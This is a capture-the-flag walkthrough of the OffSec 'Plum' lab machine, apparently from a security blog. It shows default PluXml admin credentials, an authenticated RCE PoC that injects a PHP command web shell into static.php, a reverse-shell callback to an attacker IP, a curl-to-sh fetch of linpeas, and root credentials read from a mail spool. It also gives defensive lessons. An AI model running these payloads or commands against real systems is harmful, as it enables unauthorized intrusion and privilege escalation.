Skip to main content

OffSec Proving Grounds Plum — PluXml Default Creds to Root

· 4 min read
Views …
James
James
AOV Security

In this Art of Vector walkthrough, we take OffSec Proving Grounds Plum from initial recon to full root access by abusing default admin credentials in PluXml, weaponizing template editing for command execution, and pivoting from a web shell to mailbox credential reuse.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Plum is a focused Linux web box with only two exposed services: SSH on 22 and Apache on 80. The web front page identifies PluXml, and the admin panel accepts default credentials.

That foothold is enough to reach a dangerous feature: template editing. A public PluXml 5.8.7 PoC shows how to inject a command web shell into static.php, then trigger it with a reverse shell payload. Initial access lands as www-data, and privilege escalation comes from sensitive credentials left in local mail, allowing su root.

Enumeration​

Nmap​

Start with a full TCP scan plus service/version detection and default scripts:

nmap -sV -sC -p- 192.168.120.28 -v

The host exposes only two ports:

22/tcp open  ssh   OpenSSH 8.4p1 Debian
80/tcp open  http  Apache httpd 2.4.56 (Debian)

The web title is the first major clue:

http-title: PluXml - Blog or CMS, XML powered !

With no extra services and no obvious SSH path, the CMS becomes the primary attack surface.

Web entry point​

The admin panel is reachable at:

http://192.168.120.28/core/admin/auth.php?p=/core/admin/

In this lab instance, default credentials work:

username: admin
password: admin

That immediately upgrades anonymous web access into authenticated CMS admin access.

Exploitation path​

PluXml authenticated RCE​

Once authenticated, the published PoC for PluXml 5.8.7 can be used to automate template modification:

  • PoC reference: erlaplante/pluxml-rce
  • Core idea: edit static.php, inject <?php system($_GET['cmd']); ?>, then execute OS commands through a controlled request.

Run it with attacker callback details:

python poc.py http://192.168.120.28 admin admin 192.168.45.209 5555

Listener:

penelope -p 5555

Expected result is a reverse shell session as the web server user:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this works​

This chain is effective because three conditions align:

  1. Administrative panel is reachable from attacker network.
  2. Default credentials remain valid.
  3. Admin-side template editing allows writing executable PHP into rendered files.

That turns "CMS admin" into direct command execution on the underlying host.

Privilege escalation​

Local situational awareness​

After foothold, host enumeration points to local mail artifacts:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

linpeas highlights mail files under:

  • /var/mail/www-data
  • /var/spool/mail/www-data

Process monitoring (pspy) also confirms local services like Exim are active, reinforcing mail as a useful place to look.

Credential discovery in mailbox​

Reading the mail spool reveals a high-impact operational mistake:

cat /var/mail/www-data

Message content includes root credentials in cleartext:

root:6s8kaZZNaZZYBMfh2YEW

Use those credentials directly:

su root
id

Result:

uid=0(root) gid=0(root) groups=0(root)

Root outcome​

Plum demonstrates a realistic compromise chain that does not require a kernel exploit or complex local privilege escalation:

  • recon finds a narrow surface (22, 80)
  • app fingerprinting identifies PluXml
  • default admin credentials provide authenticated control
  • template editing becomes RCE and yields www-data
  • mailbox credential leakage provides root

Why this machine is a good lesson​

The main lesson is operational hygiene, not exploit novelty.

Even when internet-facing services are minimal, weak application administration and poor secret handling can collapse host security quickly. Default CMS credentials and plaintext privileged secrets are both preventable controls that, if fixed, would break this chain.

Defensive takeaways​

  1. Enforce unique admin credentials during installation; block or rotate defaults.
  2. Restrict admin panels by network and strong authentication controls.
  3. Treat template/plugin editors as code-execution surfaces and harden accordingly.
  4. Never transmit or store privileged credentials in plaintext email.
  5. Monitor and alert on suspicious template file changes and outbound callbacks.

References​

Unauthorized access is illegal. This write-up is for education and authorized lab work only.